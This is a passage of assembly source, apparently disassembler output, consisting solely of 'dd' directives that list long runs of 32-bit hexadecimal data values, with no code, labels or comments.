dd 479E6253h, 0B07750C1h, 78C04B3Ah, 277C5740h, 0F2280944h
dd 5CA2BD56h, 9CEB1038h, 9D8BDCC0h, 8E93737h, 66368EDEh
dd 28215CC8h, 31C4EF2h, 0BC7C673Eh, 25A14F43h, 0AEC4814Ah
dd 114484BFh, 50F1FA60h, 94AD1853h, 0BF3A0184h, 803C275Ch
dd 9CA25638h, 0C7E69CEh, 0C15F0EFBh, 0D00B831h, 66FAC5F2h
dd 0C1B2E5D1h, 3C84AC41h, 0A451C21Bh, 0A5C81C10h, 9DCD990Eh
dd 0FFFD00BCh, 14B15B49h, 71C94C44h, 9D7BFB07h, 0FC99B005h
dd 0FD005112h, 155EEFBEh, 7BDC0CCh, 0CEE693E1h, 8012C5E0h
dd 7D05357Eh, 0DF0089E4h, 2809AAB0h, 1BD4DB5h, 0A96786F8h
dd 8593EE24h, 707A4688h, 6463D800h, 994C8Bh, 0D5C2517h
dd 35EBF587h, 78863000h, 7EBA219Ah, 4324C4Ah, 0D0AEA53Dh
dd 0C926E9h, 1B27854Dh, 50051B1h, 3DC3C1FFh, 0D996B3h
dd 469B651Ah, 7D2A36C0h, 0BF07777Fh, 0E79C662Ch, 966D1321h
dd 84FBD4h, 513A5B3Dh, 7ACC21A4h, 3E4F0F1h, 0F2F9C600h
dd 0E391528Dh, 5B3A051Dh, 0D0165EBEh, 1A7CCBCCh, 349D9000h
dd 94FF4960h, 99E5269Ah, 9FE9007Ch, 2C702833h, 0C13B7500h
dd 94ED64C7h, 0B3C92020h, 0EE7E8302h, 0C0539D5Dh, 88AD7F98h
dd 0A200FC92h, 0BE46FA0Ah, 0F04E43FBh, 29CF0641h, 4095E8F2h
dd 0AF5DF02h, 232A152h, 9E22BB63h, 73B0D865h, 0B3C80248h
dd 45977DB2h, 0AB55AC68h, 1A9C8B03h, 0A0B64AFEh, 275A5DF9h
dd 0B400E2FBh, 7C7BB212h, 4000CB5Ah, 0BE31F068h, 0BB77B98h
dd 33E40E80h, 42804CA9h, 190973CFh, 8F4C4703h, 0E034D44Ah
dd 0DCBC42h, 0B8667DC2h, 61186954h, 0EC961C00h, 0FF6C80ACh
dd 0A6330043h, 0AFC50731h, 127B97BBh, 406F7E00h, 71053D2Ch
dd 18E3057Fh, 0C1A70208h, 2841A0C0h, 0EE130004h, 822256C9h
dd 0BF97054Fh, 654DBCh, 61432790h, 1E1ED5Dh, 0C212592Fh
dd 803C7851h, 63B67BAEh, 5FE212Ah, 0B95B7CA9h, 0EEF440B5h
dd 938F8173h, 6B440A16h, 0AE4B1843h, 0DA70CF5Ah, 44E76B6h
dd 0F645BABh, 3B0080B0h, 7A0074E5h, 10685A11h, 0C713F1F8h
dd 0A3A9E71Eh, 53C7FBA4h, 65C0B453h, 70499674h, 0AC2429D4h
dd 0BA72CE80h, 3A65DEh, 0FE59060Ch, 1044A2CAh, 0E27D30C9h
dd 0EB9103B0h, 0CC0EB8ACh, 72022673h, 8E09804Ch, 0B195D27Dh
dd 355F18F4h, 5658800h, 0D5E98Fh, 233BE21h, 2E392F75h
dd 0D2CFC900h, 6449D496h, 0C882EE2h, 0EB50BFCh, 0BD5AC080h
dd 0D024F9Ch, 0F5939B98h, 0E378C02Fh, 3825287Eh, 0E354EAA0h
dd 340FD8h, 51CFF40Bh, 0E68413Ch, 80D60C00h, 20B38419h
dd 28780303h, 0ECA0AF36h, 174A4848h, 400A861h, 219C30D7h
dd 9A420169h, 29C0FAE3h, 0A025D4F8h, 91EE4900h, 95AD1C9Fh
dd 0A38D175Dh, 0A2A802AAh, 0E904979Eh, 33007B38h, 0ABF8731Fh
dd 62F9D4Fh, 5424C00Fh, 0C9008E0Ah, 5E473A23h, 9C0DB4h
dd 0B1772B9Dh, 290C792Eh, 6EF92700h, 0C30A36D1h, 0A5EC1D73h
dd 12224008h, 0BD06B73Eh, 19C7D500h, 6E603323h, 0F053F5D8h
dd 0B650E83Dh, 0F2C32D22h, 0DB239880h, 811780B1h, 8C5D7AF9h
dd 0E6E10B78h, 19B4619Ah, 90F07DCh, 21453661h, 40925020h
dd 80E127D5h, 977AD811h, 2BBCA7h, 6F232F6Dh, 572F3ADh
dd 52EEDD00h, 85DBE29Ah, 21CF1722h, 0CB8880AEh, 6F0BB924h
dd 805BC649h, 0FDBD274Ch, 189F615h, 3367C4E1h, 8E106B8Ch
dd 37AF30h, 0C6A1FEE9h, 7C7B7DB5h, 11E137F5h, 880990E9h
dd 4000EDBAh, 7A9E79A4h, 6AD6CDh, 50F58B28h, 0A2F798E8h
dd 0B75D4600h, 42E9F0Eh, 0BA790130h, 588890DCh, 0A46330FAh
dd 0C613B800h, 1FD0558Ch, 5E8E00AAh, 0BFD52CA6h, 0C801815Bh
dd 7BFE581Dh, 24203D4Ah, 0A69148E6h, 0E587C500h, 0D6BED95Dh
dd 6571430Bh, 0FDC480E4h, 57ABECh, 0AA1642A5h, 438FAF52h
dd 132ECB7Eh, 101E325Dh, 0F708806Fh, 3CC33F9h, 0E0423561h
dd 53F0166Eh, 0DB26D807h, 0B6009C37h, 8233466Fh, 290F0293h
dd 52BFB566h, 0FE89BCFBh, 0A08B89FDh, 54579340h, 4EC018Fh
dd 4FAD95AEh, 1A59C8DEh, 0C8355Ch, 53DD3866h, 643D4Eh
dd 0DA0E6157h, 0C812AB0h, 0FC5F0400h, 0D7B339FBh, 42DF00D1h
dd 624D967h, 0F40E889Eh, 40CF436Bh, 0D80FA99Fh, 38DC3D37h
dd 0BE8081B8h, 4533EEEBh, 0E900B2D9h, 1F2FA873h, 5626DAh
dd 0D392DC14h, 945B89C8h, 76EBCA02h, 0A090835Dh, 48BDD2F4h
dd 9CAA0B10h, 70658C42h, 5BC261D0h, 5F280B9Eh, 3490709Ch
dd 0C8B8945Ch, 1A4407EFh, 0B090DBF2h, 5D16223Ah, 88C6D515h
dd 5C0D0008h, 0BEA58B53h, 0A7039052h, 564CB524h, 0D0CBD511h
dd 38748708h, 0F8BAC24h, 7A48718h, 0F3452110h, 2DC014D4h
dd 9B8E8C06h, 41817C60h, 0B60FDB8Ch, 205745BEh, 0F21C442Bh
dd 4234945Ah, 0AB115CBCh, 9CE3F700h, 56E08485h, 74F280BDh
dd 3F0024B5h, 0E7121429h, 66CAB3h, 0AD792064h, 5BE440C1h
dd 0BA927606h, 2E4C43C8h, 102A9Bh, 0BFEF1E41h, 7D306246h
dd 67EABC68h, 0D3A8035Ch, 0ECBE2ECDh, 0D1221988h, 23C4C00h
dd 23A31FEFh, 0F9C701AFh, 0C660B9F4h, 8411F48Eh, 0D2B55500h
dd 0FDAF59F6h, 1D24009Eh, 23E68091h, 940048DDh, 1EE202E1h
dd 0CAD90Bh, 86AAE8CDh, 7DDCF17h, 47ECDA0Fh, 0C38D6070h
dd 5F81F9h, 92601390h, 0FC1DF551h, 0F484C100h, 5AFEC8AAh
dd 406C0093h, 0BABF9995h, 0B86F3ADDh, 0AC58EA18h, 98903312h
dd 67CB89h, 2C48F190h, 48811CDh, 0F9BA7B12h, 0D7132447h
dd 601BA941h, 20911180h, 0D3E92BFEh, 0F1FF9C19h, 21806509h
dd 6FE28B1h, 461DDC96h, 0D6C0C12Ah, 0B9B7DE3Fh, 118F06CAh
dd 0A0837040h, 10478DA0h, 925F5D07h, 64301A56h, 304E128Ch
dd 0CEB89E6Bh, 48102EB8h, 7800B999h, 0FA7BEB2h, 5C185FB5h
dd 0E2087D1Bh, 0D920C0B8h, 0D4C2BEADh, 73A57A07h, 63666C9Dh
dd 33860070h, 619E0D31h, 800274Bh, 263A7C66h, 0D8969Ah
dd 342E462h, 32BCEB74h, 6B23CB00h, 0F49FDE7Ch, 0B87F0051h
dd 9BC03F1Dh, 0E3706166h, 5AD97900h, 78A96075h, 0FBD6004Eh
dd 48463FFCh, 3579C38Fh, 0C981B700h, 0F8FA670Ch, 0EE300B8h
dd 245946E0h, 3800EA12h, 0E84323DFh, 3E7761F1h, 0FF833B06h
dd 47623E16h, 0F69A0200h, 1C8FA9DBh, 31C00055h, 0A14EA735h
dd 7602D67Dh, 2BED142Eh, 509640C4h, 62DB0070h, 6E34A10Eh
dd 9707EA7Ah, 8EE795E2h, 89FAA720h, 8FA80370h, 1520F5BCh
dd 685CC0F0h, 0E5470B09h, 4E1E0045h, 0E875F8h, 0B6BEE479h
dd 97EC280h, 9AF40500h, 916ADF8Ch, 2F070346h, 0A16DCB94h
dd 0AFE7407h, 0D792AB5Ch, 0BDC2602Bh, 0C2573CFFh, 311FA600h
dd 879A9625h, 556CF00h, 0B88392AAh, 15B91C68h, 0C0A75826h
dd 0C62E7F11h, 75039895h, 0D09282B8h, 5700464h, 0A009C9EAh
dd 8F53809Dh, 0A00416Fh, 6D5BF90h, 370C01Fh, 0A13F591Dh
dd 74C9677Ch, 4F598192h, 0B39F2669h, 7337E5F8h, 5F830018h
dd 9E1A4822h, 910B4CECh, 8C12CBCh, 803DF87Dh, 0FEC45D1Dh
dd 0C01630D5h, 26731E48h, 340B68F0h, 0DB32C38h, 0E7FC30A3h
dd 0FD7512h, 0B080B9F5h, 56DAA0D9h, 0A6015B7Eh, 8DCD73ABh
dd 9DC03AFBh, 84D30028h
dd 0D936F843h, 7051FCFh, 0C3E7F557h, 3F4EFC40h, 0C78AABh
dd 0BDA296D6h, 4654ED40h, 7EA9E900h, 0F7EBB285h, 0F1300775h
dd 20E3B9AEh, 0EC1E80E2h, 0F54418C0h, 0E6D4F097h, 3D43007Fh
dd 0CABFF410h, 640FE60Dh, 6085E8DBh, 8BBAEF40h, 317E001Bh
dd 805551DAh, 8E003AD1h, 5CF3DCA9h, 7FA42343h, 50CC00B2h
dd 711E4D3Dh, 0C8021C0Ah, 1B531ABh, 0FAFBE09Bh, 0F5F9033Ch
dd 0CBA9265Fh, 205B8289h, 1C283B1Fh, 0F5909866h, 0D68F2000h
dd 97BD7AA5h, 0E7EC0371h, 0EB70693Ch, 0B3619AE0h, 21B15B00h
dd 0C4D5D022h, 0B22D006Eh, 8B80104Ch, 2C001506h, 9B618829h
dd 0E44BECh, 0EB428495h, 0C997988Ch, 86E05B04h, 6C87AC1Ch
dd 0C081DBD2h, 697408h, 8EE383A8h, 8A3EFEEDh, 0A09FEE00h
dd 1706F78Ch, 90AD3DD1h, 0A598993Ch, 5BF6B9B8h, 0D7612000h
dd 22296849h, 55060021h, 0A034CAF5h, 0F21833A9h, 357059E9h
dd 0D7ED01C0h, 196549FFh, 9203E0DEh, 81B9913Dh, 0C6731D30h
dd 48D6CBFCh, 11761F30h, 21CC0719h, 0FEDE00A8h, 255D3917h
dd 0A603B2F6h, 6FEEAC0Eh, 0A7DFB0A0h, 62630006h, 0B6D84D19h
dd 241D818Fh, 7002B856h, 86CD74D6h, 686C87h, 12ED0BEh
dd 217598A3h, 0D91F0E14h, 663007B1h, 1CC0B072h, 2E5024E6h
dd 0E0E94Ah, 268D1AD4h, 33006F03h, 0B07571D1h, 516CB80h
dd 0E477FF93h, 5AA00098h, 8E3D8632h, 0E6828550h, 6D1BB802h
dd 4104B030h, 5CC49A40h, 0CD7B00F7h, 0A292C8EEh, 60514E1h
dd 70F3DA74h, 5A6C75C0h, 64DE0081h, 8F27B947h, 36004F4Dh
dd 3AE573Bh, 16C49FAh, 80F5E6DCh, 50BFDF96h, 6416A898h
dd 6B74F200h, 920DD3C7h, 0DB53034Ah, 66B08EECh, 0ED03DA3h
dd 51078A5Ah, 0DF6D0F14h, 7F7D5300h, 26B50142h, 5A86B198h
dd 90D2E85Dh, 0FBD5CE07h, 80EE1477h, 0C96E6CB7h, 0D8FF0008h
dd 214C3484h, 9B0769F9h, 463C7F56h, 496DF000h, 0E8AF0989h
dd 2420AB2Ah, 0F16316A3h, 549E7358h, 810060F8h, 884D6640h
dd 743FD9DAh, 2421F483h, 28197Eh, 0EAE83D45h, 4D0C0F47h
dd 1826409Bh, 0AE9706CEh, 609AA0C0h, 9FEBC339h, 0F4C0FE45h
dd 0FF6EC510h, 6AB51F48h, 84B80012h, 33B3869h, 9288A800h
dd 7F6F44BCh, 0DF171EF9h, 96ACC0E0h, 80169594h, 3A6ABE00h
dd 0ED884744h, 0C138003Ch, 30B39A34h, 66000F1Fh, 0F993106Dh
dd 9F1DC59h, 0DB682764h, 0B86AB400h, 3B016FD4h, 5790EA08h
dd 0C5F46C66h, 55BF2463h, 0FE803B1Ch, 1E7211FAh, 3400F4B7h
dd 6C46284Ah, 345F87Fh, 20B6E289h, 8BE890CBh, 4700726Bh
dd 0E988C0B8h, 9F22FCEh, 1D976140h, 0A0C93B80h, 487BF370h
dd 0E58758h, 6E25B03Dh, 2426A1D2h, 267045E7h, 0C29100CFh
dd 0A90D1153h, 36C52200h, 1E8118C9h, 0A4CA50C1h, 44724B0h
dd 365A80D0h, 39F674BEh, 0BCAB501h, 0A3F8BBE2h, 7250DCD8h
dd 631400ECh, 97776248h, 0AF018C0Dh, 40569FE0h, 28C0F3A4h
dd 20C06093h, 1DCC3B27h, 0BC24B800h, 0F0204EFCh, 1FC60772h
dd 601E6822h, 415BDADBh, 21EC7400h, 0D30595A0h, 0E1500728h
dd 80E81664h, 9836AE9Bh, 1691D3Ah, 2572045Dh, 92208A12h
dd 0D5E90051h, 0B8916399h, 953D80EBh, 74C8092h, 0B4A2DDB0h
dd 9BB0050h, 0E5AA6B7Ah, 171F246Fh, 824029F7h, 0B63FBC26h
dd 2C50B8D5h, 3F04225Ch, 0E9A1D300h, 1F979F7Ch, 6E7E9092h
dd 0BB912D00h, 7F3A8861h, 834000CFh, 90C6CAD6h, 8100BA1Dh
dd 0F9E50876h, 7A67C1Bh, 0E1010F1Eh, 0BEEB2223h, 800284C1h
dd 2443D910h, 0EA3A7BDh, 0F1B9CB4Eh, 35D8FAA0h, 5807F7ACh
dd 0F29DE40Bh, 0B92736A0h, 86840061h, 56D0CE2Fh, 0AD01BF5Fh
dd 0FF2868E2h, 1E70ED3Ch, 801900C7h, 0F38BA2E0h, 9800F23Dh
dd 3272952Ah, 0C1FE64B3h, 0CA79A360h, 0AE718031h, 0ACBC1FB6h
dd 0B01E0D5Eh, 21184BCEh, 0C2C1F3C1h, 2011B0A4h, 58FC9BA6h
dd 6F001410h, 26BAA203h, 0A9012311h, 71571E56h, 29F84EA6h
dd 147A1887h, 95026930h, 1578A500h, 5F51310Fh, 7C1A003Ah
dd 0BAE725ECh, 71001834h, 2EAFFA9Fh, 372DFCF4h, 0A0B0D4BEh
dd 4C87196Fh, 284E693Eh, 57000CBBh, 9C7BA66Eh, 98D2CF11h
dd 0E3751E46h, 1302402Ch, 0BDA02FEEh, 4A55DB0Fh, 61D383B1h
dd 4FD983Eh, 0DEF13CB4h, 0FC459400h, 23D0B606h, 792F7D00h
dd 5B0A90E3h, 0C5B20007h, 0F087CB22h, 0BF012401h, 30E8D359h
dd 0EE202C73h, 346B00E4h, 0FB172E8Ah, 642CD49Bh, 57031329h
dd 0E0A8B2F8h, 0EFF10C7h, 0D42DFBB3h, 0A0051E40h, 0CA0320DCh
dd 6BD2DAE9h, 7800BF83h, 5975BFEh, 74C9393Eh, 8CA005A1h
dd 82AB8018h, 2400A3EDh, 92F03FF3h, 804B62h, 5EDCD2C2h
dd 0FF90A8B3h, 48E74703h, 17237ABh, 0EF05B964h, 0C0131292h
dd 0A13D6408h, 0E4D4804Bh, 3539C4CDh, 18880358h, 5FD5F230h
dd 93F9A4B8h, 0EBF85200h, 0F714DEEAh, 0B974000Dh, 3E08CA73h
dd 7AE82CE0h, 0C3CA8D60h, 7035745h, 7229CB9h, 6F0EF094h
dd 2D7993EEh, 0B50012B8h, 4DB746ADh, 1E33FE35h, 0C06CF68Ah
dd 7966B189h, 0B40C039Eh, 0E0E821A2h, 8F7A0096h, 4AD62967h
dd 15014160h, 0D548CBEh, 49CCBA57h, 0B8BD00CFh, 0B21F427h
dd 0C1006E83h, 34B9A424h, 0AA74A6h, 0A8879D4Bh, 3F182D4Ch
dd 0A90081FAh, 0EC758B4Eh, 1EBA58BDh, 4FCA042Bh, 5158D198h
dd 0A7E6B2F2h, 803DA00Eh, 9C8CA3EDh, 18C7C010h, 1A49007Ah
dd 0B203C1Bh, 0AE00C534h, 828ABFA9h, 0D975ECh, 96CC14D2h
dd 7FB54DFBh, 361DB007h, 20E050BCh, 1A56C71h, 7957C01Eh
dd 20FBC225h, 1100E0D0h, 0F9B89397h, 5C6553h, 0E3BE6D6Bh
dd 0FE03AB4Eh, 34D08212h, 0B88AAC40h, 1E2F7832h, 784B8BC4h
dd 0F5DC507Eh, 0A9FF00C7h, 0DDD43B2h, 0B43DB120h, 686600C5h
dd 0AD54A359h, 0E0E50B32h, 2D060E61h, 0ED00F8F6h, 5DDBC9B7h
dd 1EE7D8B2h, 0BC2D7708h, 86670A80h, 361A359Bh, 0B149CB01h
dd 617FB473h, 782C81D0h, 0AD1003E4h, 0DC8D31C6h, 0C098C10Eh
dd 60C10C33h, 0D1C70E5Dh, 15E0A9C6h, 171F146Dh, 0DDAF3B00h
dd 8B612145h, 0F472009Fh, 0EBCC2B43h, 0F01D2A60h, 640DE89h
dd 0E4619CA7h, 0A64D00D4h, 0EB8B5B3Bh, 0BA00170Dh, 6D101C9Eh
dd 3E92472h, 0CC49DEFh, 0A003F77Dh, 3661D0FBh, 0AB8800B0h
dd 4FA8E68Dh, 0B9A0170Bh, 6330879Ah, 0C7E24014h, 0C4270550h
dd 5F7DA2h, 375940D3h, 0C80A17A5h, 0C41AA1D5h, 0EED6F640h
dd 63F912CCh, 0B59800D0h, 349BE549h, 590043EAh, 81C3EB8h
dd 1894E2h, 61151BE8h, 0F533092Bh, 2940C100h, 0A7965A95h
dd 0DA760042h, 4FAA16DCh, 2C07B559h, 29379BF2h, 93400A91h
dd 4314AC40h, 53B900D9h, 0FFD1971Dh, 0D33ADADCh, 0A3520013h
dd 0B3A9597Ch, 515507AFh, 100F2E83h, 0FAA8B1B6h, 2C715B03h
dd 0C87789C7h, 96D6DCh, 2F85C641h, 7BB02111h, 0B28E1400h
dd 56EE50CBh, 8BB32479h, 0FA26BC54h, 15A5010h, 4CAEC605h
dd 0D2007770h, 57542CB2h, 7A1A1E64h, 0D40283F0h, 0DC855E9h
dd 0E067DE5h, 9BCEDA3Eh, 0D8E66F2Eh, 0C5322520h, 2D148CB7h
dd 1DD8A8F2h, 0A5408F6Fh, 9336E9EEh, 614B24BEh, 0A30D8E80h
dd 7F28C86Ch, 96E9681Fh, 79D4A6D4h, 435D120h, 0D8E43370h
dd 224C904Eh, 0BA050631h, 0D734FF8Ah, 0A4B5B846h, 73DF421h
dd 183CA8D1h, 2E91F028h, 2607C729h, 0BE8BD9Ah, 45FAAD30h
dd 3DA200EDh, 0A8494BDAh
dd 3C39DB84h, 0F644809Eh, 0B2323E66h, 0BD080054h, 0FB7F697Dh
dd 0CD00E0A1h, 0A8928E98h, 9080592Bh, 5F7C0087h, 0BE45A9E1h
dd 0E61D3F58h, 11876301h, 0DDF0DA0Ah, 3EBC866h, 4F6F591Fh
dd 0FFE0D45Fh, 0EF282028h, 5C00A5E4h, 6D99D44h, 0ECE2AC65h
dd 38B80096h, 8FC23176h, 0A900C44Bh, 0FAD56D52h, 1C3B95h
dd 74A42134h, 433779EEh, 5CF67B00h, 961AF186h, 141F3A92h
dd 0A0DC098Fh, 695BB7A0h, 0F9006A7Ah, 8EE55D03h, 5525CCh
dd 1D2288C5h, 0E89E44C3h, 0A62C6C00h, 0F5637612h, 0D898A0EAh
dd 7D721EB7h, 0D9AF00B3h, 44F643D0h, 94755000h, 1A426C87h
dd 274100EFh, 29109AA9h, 900004F2h, 971C20ECh, 763D5B89h
dd 472E003Fh, 1BCCACCAh, 9D0A1494h, 88039B92h, 0B966A600h
dd 3D8EF235h, 77008423h, 516F0DF4h, 16017163h, 43066C52h
dd 420D568h, 120B00ACh, 88F92FE4h, 0A260E727h, 7C72C9B0h
dd 1ED3BB2h, 85998C00h, 1F20FD48h, 980EA48h, 7651D32h
dd 46C0B55Eh, 1F84AA7Bh, 2408DF01h, 0CEB1004Ch, 0A437B48Fh
dd 91806E00h, 7088BB9Bh, 64B853h, 6DCCD1D6h, 0F428C062h
dd 0EC41DF30h, 13F59CBAh, 400C12BEh, 4B596138h, 0BC52FE8Ch
dd 0CCDD04A4h, 9CD07B47h, 30EB300Fh, 2F119BA7h, 0DD01CE90h
dd 5D08572Ah, 2CCCB5E4h, 0D0C90069h, 875F3960h, 0F2042A45h
dd 71BEB6D2h, 74BD1080h, 0B57CFBh, 0A2DF621Fh, 8FEF4286h
dd 68060890h, 0ECC2F07Fh, 6F9038h, 7C779720h, 2F695828h
dd 8B33C706h, 1029DAh, 0AF5BF896h, 0A3484142h, 0C3002870h
dd 50C25E27h, 1EF8164h, 0BA5BF43Ah, 0EA305965h, 0B4A43440h
dd 8349A803h, 800FAF9Ch, 0E53A514h, 306DFE3h, 7D603DCFh
dd 1D71BC22h, 0E711580Eh, 77C420E2h, 91C80876h, 0F9569D38h
dd 8FB8F61Ch, 77701EBh, 0C06DF9A0h, 0DB30C7B0h, 0F282C900h
dd 206B915Dh, 44F307DDh, 0B1316E55h, 0CCE2D4C8h, 0FB00F125h
dd 0D1094B0h, 99C602h, 303A68A1h, 41FE47C5h, 2E1620EFh
dd 5BC41200h, 5F2A0877h, 0EB3612A3h, 54F4216Ch, 8058301Ch
dd 16FDA21Ch, 3D29B380h, 58BA6878h, 0AB0F549Bh, 0C9DE1B4Dh
dd 68AEEEA7h, 9BA031EFh, 1D030C25h, 0B881AB00h, 880E723Ch
dd 0FC8700AFh, 6A751C76h, 450089C4h, 0C0FAD4DAh, 5659C5h
dd 0CE2B3093h, 38169B27h, 0E1051900h, 5BF5D0AAh, 51B8944Bh
dd 74720C46h, 77FB18FCh, 0E4712083h, 31F892F8h, 916DB325h
dd 5E0CC938h, 1C8E1E40h, 43B2B01Fh, 56AAD2F1h, 0A67151E0h
dd 60973580h, 0BE206070h, 5575CDD4h, 760318D2h, 35A9DF4h
dd 69C2A229h, 31028B45h, 0B4CD7296h, 408B61h, 1624305Fh
dd 0DBF91DF4h, 0DA03010Fh, 417351D9h, 40B82238h, 87415374h
dd 13C94700h, 25DBE2E4h, 9DA5302Bh, 552DF706h, 8200427Ch
dd 0D6175E81h, 534894h, 29C65805h, 0AFC9CCE4h, 0F6DF9F00h
dd 0F213FAB0h, 0C0FC33h, 0D626B7ADh, 40FFA2EAh, 9279E000h
dd 0E854E5A3h, 608B005Ch, 18A08B5h, 94000C28h, 0B0E962CAh
dd 0DF1D8126h, 0E44B00A0h, 0A56A7882h, 32C97500h, 9B43ACC7h
dd 95B8009Ch, 5CC59215h, 0F600E93Ah, 7D58D4FAh, 81702Dh
dd 4A10E0ABh, 9C57BC0Dh, 8B865100h, 0CDFB655h, 9E70B3h
dd 0D4D0F498h, 0F9C94091h, 0A8814C2Ah, 0CAF34100h, 557C575Bh
dd 0EFC807C6h, 0AEB6BB2Bh, 0C7072C60h, 1A009B8Ah, 0B39DB9F5h
dd 770C1046h, 0B75C0024h, 29366B51h, 3B73DC79h, 1ECD9F00h
dd 7E11F230h, 54B27Ch, 3390FF0Bh, 0A2FDD07h, 0D62DD501h
dd 3404FEFh, 0A051DEC8h, 12DA75F4h, 1261A4F5h, 0DC40500h
dd 99548020h, 0D700F39Ah, 0A48EE42Ah, 43F5DBh, 20C78B26h
dd 0B72E15A0h, 3F5CF700h, 2241AC35h, 658A00A4h, 9517701Ah
dd 25076DB0h, 0B3F188C1h, 0E0FCB1F2h, 7E5045A4h, 9E7B0B4Bh
dd 700092FFh, 8FEC56Eh, 73155200h, 2305E7F6h, 0C0320004h
dd 36ADB476h, 0E9008A5Ah, 9CBC1907h, 266C4FB6h, 0D04227h
dd 7DEB873Dh, 3700EC73h, 0FF6DAA07h, 0A6123Ch, 0BDB998BFh
dd 0DEF64F5Bh, 0FD70AAA1h, 0FE1CF03Fh, 0DB9B8216h, 0AD80545Fh
dd 0B208A844h, 611D0053h, 0DD550BF1h, 0C4E69C52h, 24E768C0h
dd 0B0AE0F6Dh, 129905B7h, 40FFFB4Eh, 0EC8B67A0h, 4C015DB3h
dd 66ADF2BCh, 0A882525Ch, 0E8735B15h, 5AD668C0h, 2E330E04h
dd 0F0902FF2h, 1A7DC1h, 1005387Fh, 55BA95A9h, 6BC00416h
dd 59ED9441h, 0E464CC6Ah, 69A500A3h, 0ABF0610Ah, 4200D701h
dd 632CA07h, 1C140BDh, 44DCFD7Bh, 0F946B5F4h, 0C7B6E457h
dd 0BEEFCB39h, 0AD1080B8h, 43ABE99h, 0A2F00B25h, 7C235D61h
dd 4780DDF1h, 2300FE85h, 5FFAC4B2h, 755761h, 32F189D3h
dd 0EC7E47F3h, 20006494h, 0C121B9CBh, 0E0B7F242h, 0E35E0164h
dd 2879569Eh, 3D18342Dh, 0A7008B90h, 0ABB258C1h, 0FC90847h
dd 716C5784h, 870EF3E1h, 4F8980BBh, 0DA11D1DBh, 0D7D400ACh
dd 8CC16EC8h, 1B000DEBh, 0FB9A7E76h, 0A47A15h, 5C640918h
dd 71F5E36Bh, 0CCEA8700h, 0CBAEF3E2h, 3D8F2684h, 7A6700D0h
dd 0E5D9F440h, 28465103h, 98AA74A7h, 2F089h, 0D79A5912h
dd 0F9E96F7Ah, 1AB48215h, 0ADBE00D4h, 0C0CB6B56h, 5169005Ch
dd 42DAD453h, 0E8006222h, 5A2BC6BDh, 2E7C08BCh, 914ABFh
dd 66C4CBC1h, 60C6EC8Eh, 0E1B3D8h, 44FF78B1h, 75B971E2h
dd 482DBA01h, 0F92CBC45h, 2E1C434h, 156FF18Eh, 2341BB4Fh
dd 5F2FC442h, 0B5B99B00h, 0E96E70ADh, 0BC9A0090h, 1A029E51h
dd 0EF7C1291h, 18D2DF00h, 0FE8243A8h, 98E1E1F9h, 0EC20DDF1h
dd 17050F20h, 9EE08DA1h, 9A11552Bh, 9BE0E100h, 0DCD32C87h
dd 0BF5F0052h, 0DCAE4AFh, 912EC1FDh, 1B003093h, 31679F0Ch
dd 0D210C092h, 89B6246Bh, 7E50BFh, 75BB496Eh, 0A9B77077h
dd 6917AD98h, 6800B6F0h, 5DE0C744h, 71C90076h, 4A22126h
dd 731D6E4Ah, 90879932h, 1631A48Ah, 0C3EC13F3h, 0B10C1D15h
dd 514FC19Eh, 24E67867h, 0E30EC82Ch, 0CF4C8825h, 6F5AC5CBh
dd 32394CC0h, 0F40C1ED1h, 99D001EDh, 70353BE6h, 0A700B5D3h
dd 3A7C674Ch, 7E5DBF6h, 4BA92F45h, 2E7810A0h, 0E800CD0Fh
dd 3F665003h, 0A14285h, 0CCD2814Eh, 930E6ED9h, 0F6455E3Dh
dd 6D0013E8h, 0B3070BEAh, 46FEC9h, 28CF8FE8h, 6B88F925h
dd 438CD4Dh, 3D98B848h, 96C3D380h, 1FF2002Ah, 6F705401h
dd 230132D9h, 9ACF52EAh, 683D63DBh, 9C9F0700h, 0A711958Dh
dd 24924F7Dh, 0D23B480Eh, 0A5714064h, 392F9Bh, 3A83968Ch
dd 68B64AF2h, 2B63E904h, 6B8138FBh, 0F820A17Dh, 0B50986A7h
dd 0FB2668h, 8CB40FE8h, 7A6100AEh, 2DD728F4h, 3201B66Ch
dd 4AE83F7Eh, 0FC6452BDh, 0FF340140h, 0ECACB373h, 0C038F448h
dd 2D519218h, 324DE1A1h, 66C98A9Bh, 0FF14FC60h, 0AC00244Ah
dd 0EBABE306h, 0A55A00F8h, 0F43FEF8Fh, 82035EBEh, 0B60F2584h
dd 30E4D8B7h, 458E0E64h, 8BEE622Eh, 7FF68FA1h, 0C44BD866h
dd 0B5408400h, 7BCDA610h, 3AFC7230h, 568036A2h, 0B6455350h
dd 0FA132085h, 0A091C68Fh, 310A1ACh, 0A330AD12h, 1B39E659h
dd 0B2F10056h, 99E73747h, 65026EAFh, 0A6F7D877h, 1C5E635Fh
dd 92E0398h, 98487319h, 2C72F693h, 99DE5A04h, 2B803E85h
dd 0E543B2h, 0FA98848Fh, 12D533A9h, 7456812h, 2ECEB420h
dd 0F53403F3h, 0BE65C60h, 0C61C48D8h, 0CA119D1Dh, 9AE58F7Ch
dd 586BC0E9h, 7CE18EBh
dd 4988EFC5h, 0E2800F3Fh, 37D16C4h, 1847A400h, 0ABF6280Fh
dd 0E31D326Ch, 0F0408030h, 0B000DAE5h, 2446EE3Eh, 0BC3833h
dd 8E4FAC8Ah, 7BA30C36h, 7AEE31C1h, 60F27658h, 1691DC68h
dd 9A09B2h, 25541AC7h, 1300AFB5h, 898D83Eh, 0A0731E03h
dd 0E6688FCAh, 32CF265Dh, 0A02B80A4h, 4EE8E7Ah, 0A1BF1C00h
dd 0FC442B3h, 0B2AF000Eh, 6260F9C3h, 8A076B34h, 0FEE7C9E5h
dd 0A1138000h, 35F23A24h, 5AA49682h, 4C51EF3Ah, 40E89447h
dd 7CCF5B89h, 0C11E43Ah, 183FBE53h, 87393C69h, 11256619h
dd 154EE041h, 0C057F100h, 0DE6DFFB2h, 9D840085h, 31DACBA0h
dd 620089A4h, 0F8CF12CCh, 0FD4D623h, 571F86ACh, 0BEFF87E0h
dd 16072202h, 0A8AAAEF4h, 0F3E0A6A0h, 5AE451h, 0B3A2807Bh
dd 891184E4h, 30147801h, 0FAF42EACh, 0C9C0E078h, 0DBE2EDD7h
dd 5B4F8400h, 0A201FC97h, 591A3B43h, 0AF70007Fh, 738920DAh
dd 0E0001DF1h, 0DD984207h, 29FC9Fh, 1B2F4C24h, 1F0603E9h
dd 52768700h, 66B2FB27h, 0E01E0E34h, 5F20532Ah, 0D349565Ah
dd 0F3956300h, 0D1071912h, 9E230344h, 456B7BEDh, 2A1C0890h
